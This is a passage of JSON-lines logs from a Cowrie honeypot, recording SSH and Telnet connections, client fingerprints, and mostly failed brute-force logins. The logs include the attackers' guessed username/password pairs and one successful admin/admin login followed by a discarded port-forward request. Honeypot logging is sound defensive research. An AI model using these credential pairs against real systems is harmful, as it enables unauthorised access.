sh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:37:35.242370Z","src_ip":"103.182.132.154","session":"8c97f37010db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@12345","message":"login attempt [root/test@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:37:36.128073Z","src_ip":"103.182.132.154","session":"8c97f37010db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:37:37.342600Z","src_ip":"103.182.132.154","session":"8c97f37010db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"12345","message":"login attempt [minecraft/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:37:38.349844Z","src_ip":"122.168.114.167","session":"c5a2fa0bbc9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39306,"dst_ip":"159.203.135.109","dst_port":22,"session":"6474eca64f2c","protocol":"ssh","message":"New connection: 159.203.92.129:39306 (159.203.135.109:22) [session: 6474eca64f2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:37:39.017972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:37:39.024423Z","src_ip":"159.203.92.129","session":"6474eca64f2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:37:39.028260Z","src_ip":"159.203.92.129","session":"6474eca64f2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"at","password":"!@#qweASD123","message":"login attempt [at/!@#qweASD123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:37:39.037554Z","src_ip":"159.203.92.129","session":"6474eca64f2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:37:40.044352Z","src_ip":"159.203.92.129","session":"6474eca64f2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"24.3","message":"Connection lost after 24.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:37:43.622186Z","src_ip":"122.168.114.167","session":"c5a2fa0bbc9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.4.106.201","src_port":40578,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a00e59a6bb0","protocol":"ssh","message":"New connection: 202.4.106.201:40578 (159.203.135.109:22) [session: 9a00e59a6bb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:37:47.924378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:37:47.928010Z","src_ip":"202.4.106.201","session":"9a00e59a6bb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:37:48.194692Z","src_ip":"202.4.106.201","session":"9a00e59a6bb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"888888","message":"login attempt [ubuntu/888888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:37:49.291201Z","src_ip":"202.4.106.201","session":"9a00e59a6bb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:37:50.560372Z","src_ip":"202.4.106.201","session":"9a00e59a6bb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":58614,"dst_ip":"159.203.135.109","dst_port":22,"session":"243c129222d1","protocol":"ssh","message":"New connection: 122.168.114.167:58614 (159.203.135.109:22) [session: 243c129222d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:37:58.955181Z"}
{"eventid":"cowrie.session.closed","duration":110.92596578598022,"message":"Connection lost after 110 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:38:01.662511Z","src_ip":"103.1.184.33","session":"d80849428d79","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:38:03.492425Z","src_ip":"122.168.114.167","session":"243c129222d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:38:03.507708Z","src_ip":"122.168.114.167","session":"243c129222d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.45.177","src_port":56892,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e3d934f3dfb","protocol":"ssh","message":"New connection: 159.223.45.177:56892 (159.203.135.109:22) [session: 7e3d934f3dfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:38:09.135615Z"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:38:13.618844Z","src_ip":"159.223.45.177","session":"7e3d934f3dfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":44730,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8199d9bcf84","protocol":"telnet","message":"New connection: 185.26.126.47:44730 (159.203.135.109:23) [session: b8199d9bcf84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:38:18.897961Z"}
{"eventid":"cowrie.login.failed","username":"tom","password":"123456","message":"login attempt [tom/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:38:19.819718Z","src_ip":"122.168.114.167","session":"243c129222d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47666,"dst_ip":"159.203.135.109","dst_port":22,"session":"5876de382e4d","protocol":"ssh","message":"New connection: 159.203.92.129:47666 (159.203.135.109:22) [session: 5876de382e4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:38:24.644134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:38:24.648966Z","src_ip":"159.203.92.129","session":"5876de382e4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:38:24.653595Z","src_ip":"159.203.92.129","session":"5876de382e4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"at","password":"!Q2w#E4r","message":"login attempt [at/!Q2w#E4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:38:24.664790Z","src_ip":"159.203.92.129","session":"5876de382e4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"25.8","message":"Connection lost after 25.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:38:24.757592Z","src_ip":"122.168.114.167","session":"243c129222d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:38:25.670869Z","src_ip":"159.203.92.129","session":"5876de382e4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":17784,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b2e0495d22f","protocol":"ssh","message":"New connection: 87.251.64.176:17784 (10.17.0.5:22) [session: 4b2e0495d22f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:38:26.116614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:38:26.121007Z","src_ip":"87.251.64.176","session":"4b2e0495d22f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:38:26.216911Z","src_ip":"87.251.64.176","session":"4b2e0495d22f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:38:26.506634Z","src_ip":"87.251.64.176","session":"4b2e0495d22f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:38:26.605418Z","session":"4b2e0495d22f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:38:26.703215Z","src_ip":"87.251.64.176","session":"4b2e0495d22f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:38:26.938050Z","src_ip":"87.251.64.176","session":"4b2e0495d22f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.182.132.154","src_port":37870,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf5665c5883a","protocol":"ssh","message":"New connection: 103.182.132.154:37870 (159.203.135.109:22) [session: cf5665c5883a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:38:32.534521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:38:32.539054Z","src_ip":"103.182.132.154","session":"cf5665c5883a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:38:32.751847Z","src_ip":"103.182.132.154","session":"cf5665c5883a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rstudio-server","password":"rstudio-server","message":"login attempt [rstudio-server/rstudio-server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:38:33.633728Z","src_ip":"103.182.132.154","session":"cf5665c5883a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:38:34.849574Z","src_ip":"103.182.132.154","session":"cf5665c5883a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":32794,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc0b0639dbc7","protocol":"ssh","message":"New connection: 122.168.114.167:32794 (159.203.135.109:22) [session: bc0b0639dbc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:38:40.971805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:38:43.539572Z","src_ip":"122.168.114.167","session":"bc0b0639dbc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 